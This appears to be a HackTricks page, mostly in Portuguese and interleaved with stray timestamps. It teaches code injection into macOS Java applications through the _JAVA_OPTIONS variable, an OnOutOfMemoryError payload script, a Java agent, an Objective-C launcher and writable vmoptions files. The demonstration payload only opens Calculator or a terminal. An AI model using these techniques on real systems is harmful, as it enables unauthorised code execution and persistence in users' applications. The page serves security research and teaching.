2024-07-19 04:35:54 +00:00
# macOS Java Applications Injection
2023-12-29 14:33:12 +00:00
2024-07-19 04:35:54 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-12-29 14:33:12 +00:00
2024-07-19 04:35:54 +00:00
< details >
2023-12-29 14:33:12 +00:00
2024-07-19 04:35:54 +00:00
< summary > Support HackTricks< / summary >
2024-01-04 10:31:50 +00:00
2024-07-19 04:35:54 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-12-29 14:33:12 +00:00
< / details >
2024-07-19 04:35:54 +00:00
{% endhint %}
2023-12-29 14:33:12 +00:00
## Enumeração
2024-07-19 04:35:54 +00:00
Encontre aplicativos Java instalados em seu sistema. Foi notado que aplicativos Java no **Info.plist** conterão alguns parâmetros java que contêm a string ** `java.` **, então você pode procurar por isso:
2023-12-29 14:33:12 +00:00
```bash
# Search only in /Applications folder
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
# Full search
sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
```
## \_JAVA\_OPTIONS
2024-01-04 10:31:50 +00:00
A variável de ambiente ** `_JAVA_OPTIONS` ** pode ser usada para injetar parâmetros java arbitrários na execução de um aplicativo compilado em java:
2023-12-29 14:33:12 +00:00
```bash
# Write your payload in a script called /tmp/payload.sh
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
```
2024-01-04 10:31:50 +00:00
Para executá-lo como um novo processo e não como um filho do terminal atual, você pode usar:
2023-12-29 14:33:12 +00:00
```objectivec
#import <Foundation/Foundation.h>
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Specify the file path and content
NSString *filePath = @"/tmp/payload.sh";
NSString *content = @"#!/bin/bash\n/Applications/iTerm.app/Contents/MacOS/iTerm2";
NSError *error = nil;
// Write content to the file
BOOL success = [content writeToFile:filePath
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"Error writing file at %@\n%@", filePath, [error localizedDescription]);
return 1;
}
NSLog(@"File written successfully to %@", filePath);
// Create a new task
NSTask *task = [[NSTask alloc] init];
/// Set the task's launch path to use the 'open' command
[task setLaunchPath:@"/usr/bin/open"];
// Arguments for the 'open' command, specifying the path to Android Studio
[task setArguments:@[@"/Applications/Android Studio.app"]];
// Define custom environment variables
NSDictionary *customEnvironment = @{
@"_JAVA_OPTIONS": @"-Xms2m -Xmx5m -XX:OnOutOfMemoryError=/tmp/payload.sh"
};
// Get the current environment and merge it with custom variables
NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary:[[NSProcessInfo processInfo] environment]];
[environment addEntriesFromDictionary:customEnvironment];
// Set the task's environment
[task setEnvironment:environment];
// Launch the task
[task launch];
}
return 0;
}
```
2024-07-19 04:35:54 +00:00
No entanto, isso irá gerar um erro no aplicativo executado, uma maneira mais discreta é criar um agente Java e usar:
2023-12-29 14:33:12 +00:00
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
# Or
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
{% hint style="danger" %}
2024-02-08 22:20:49 +00:00
Criar o agente com uma **versão diferente do Java** da aplicação pode causar a falha na execução tanto do agente quanto da aplicação
2023-12-29 14:33:12 +00:00
{% endhint %}
Onde o agente pode ser:
{% code title="Agent.java" %}
```java
import java.io.*;
import java.lang.instrument.*;
public class Agent {
public static void premain(String args, Instrumentation inst) {
try {
String[] commands = new String[] { "/usr/bin/open", "-a", "Calculator" };
Runtime.getRuntime().exec(commands);
}
catch (Exception err) {
err.printStackTrace();
}
}
}
```
2024-02-08 22:20:49 +00:00
{% endcode %}
2023-12-29 14:33:12 +00:00
Para compilar o agente, execute:
```bash
javac Agent.java # Create Agent.class
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
```
Com `manifest.txt` :
```
Premain-Class: Agent
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
```
2024-07-19 04:35:54 +00:00
E então exporte a variável de ambiente e execute o aplicativo java assim:
2023-12-29 14:33:12 +00:00
```bash
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
# Or
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
```
2024-07-19 04:35:54 +00:00
## arquivo vmoptions
2023-12-29 14:33:12 +00:00
2024-07-19 04:35:54 +00:00
Este arquivo suporta a especificação de **parâmetros Java** quando o Java é executado. Você pode usar alguns dos truques anteriores para alterar os parâmetros java e **fazer o processo executar comandos arbitrários** .\
Além disso, este arquivo também pode **incluir outros** com o diretório `include` , então você também pode alterar um arquivo incluído.
2023-12-29 14:33:12 +00:00
2024-07-19 04:35:54 +00:00
Ainda mais, alguns aplicativos Java irão **carregar mais de um arquivo `vmoptions`** .
2023-12-29 14:33:12 +00:00
2024-07-19 04:35:54 +00:00
Alguns aplicativos como o Android Studio indicam em sua **saída onde estão procurando** por esses arquivos, como:
2023-12-29 14:33:12 +00:00
```bash
/Applications/Android\ Studio.app/Contents/MacOS/studio 2>& 1 | grep vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName is: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] fullFileName exists: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.920 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app/Contents/bin/studio.vmoptions
2023-12-13 19:53:23.921 studio[74913:581359] parseVMOptions: /Applications/Android Studio.app.vmoptions
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
```
2024-07-19 04:35:54 +00:00
Se não o fizerem, você pode facilmente verificar com:
2023-12-29 14:33:12 +00:00
```bash
# Monitor
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
# Launch the Java app
/Applications/Android\ Studio.app/Contents/MacOS/studio
```
2024-07-19 04:35:54 +00:00
Note como é interessante que o Android Studio neste exemplo está tentando carregar o arquivo ** `/Applications/Android Studio.app.vmoptions` **, um lugar onde qualquer usuário do ** `admin` group tem acesso de escrita.**